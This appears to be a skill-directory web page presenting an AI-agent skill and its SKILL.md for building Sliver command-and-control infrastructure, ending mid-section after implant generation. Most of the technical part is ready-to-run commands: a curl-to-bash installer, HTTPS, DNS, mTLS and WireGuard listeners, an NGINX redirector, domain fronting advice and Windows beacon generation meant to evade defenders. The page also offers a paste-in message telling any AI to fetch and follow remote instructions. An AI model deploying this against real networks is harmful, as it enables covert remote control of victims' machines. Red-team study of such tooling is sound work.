Skip to content
Skillpedia
Misc35k · #5529

building-c2-infrastructure-with-sliver-framework

Lets your agent set up a secure command and control (C2) network with the Sliver framework. It allows creating connections and disguising traffic for authorized security operations.

What it does

This tool helps set up a secure and stealthy command and control (C2) server for security operations. It allows creating connections that are difficult for defense systems to detect.

When to use it

  • ✓When setting up C2 infrastructure for security testing (red teaming).
  • ✓When needing to create programs (implants) that communicate stealthily with the C2 server.
  • ✓When wanting to ensure C2 communication resists security detections.

Example of what to ask your AI

“Set up a C2 server with Sliver for penetration testing.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

Sliver allows creating a central server and configuring different connection types (like HTTPS, DNS) for malicious programs to communicate. It also helps hide this communication using redirectors and other techniques.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-infrastructure-with-sliver-framework

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

  • When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
  • When establishing security controls aligned to compliance requirements
  • When building or improving security architecture for this domain
  • When conducting security assessments that require this implementation

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy a Sliver team server on hardened cloud infrastructure
  • Configure HTTPS, mTLS, DNS, and WireGuard listeners
  • Generate implants (beacons and sessions) for target platforms
  • Set up NGINX or Apache redirectors between implants and the team server
  • Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
  • Configure multi-operator access with certificate-based authentication
  • Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

  • T1071.001 - Application Layer Protocol: Web Protocols
  • T1071.004 - Application Layer Protocol: DNS
  • T1573.002 - Encrypted Channel: Asymmetric Cryptography
  • T1090.002 - Proxy: External Proxy (Redirectors)
  • T1105 - Ingress Tool Transfer
  • T1132.001 - Data Encoding: Standard Encoding
  • T1572 - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

  1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
  2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
  3. Install Sliver using the official install script:
    curl https://sliver.sh/install | sudo bash
    
  4. Start the Sliver server daemon:
    systemctl start sliver
    # Or run interactively
    sliver-server
    
  5. Generate operator configuration files for team members:
    new-operator --name operator1 --lhost <team-server-ip>
    

Phase 2: Listener Configuration

  1. Configure an HTTPS listener with a legitimate SSL certificate:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. Configure a DNS listener for fallback C2:
    dns --domains c2dns.example.com --lport 53
    
  3. Configure mTLS listener for high-security sessions:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. Configure WireGuard listener for tunneled access:
    wg --lport 51820
    

Phase 3: Redirector Setup

  1. Deploy a separate VPS as a redirector (positioned between targets and team server)
  2. Install and configure NGINX as a reverse proxy:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. Configure iptables rules on the team server to only accept connections from the redirector:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

  1. Generate an HTTPS beacon implant:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. Generate a DNS beacon for restricted networks:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    

…

FAQ

What is 'red teaming'?

It's a simulation of an attack against a security system to test its defenses, acting like a real adversary.

What are 'implants'?

They are small programs installed on a target system that communicate with the C2 server to receive commands or send information.

What is 'domain fronting'?

It's a technique to disguise C2 traffic by making it appear as if it's going to a legitimate, popular website, like a CDN (Content Delivery Network) service.

Details

Original description by the author

Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5529
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills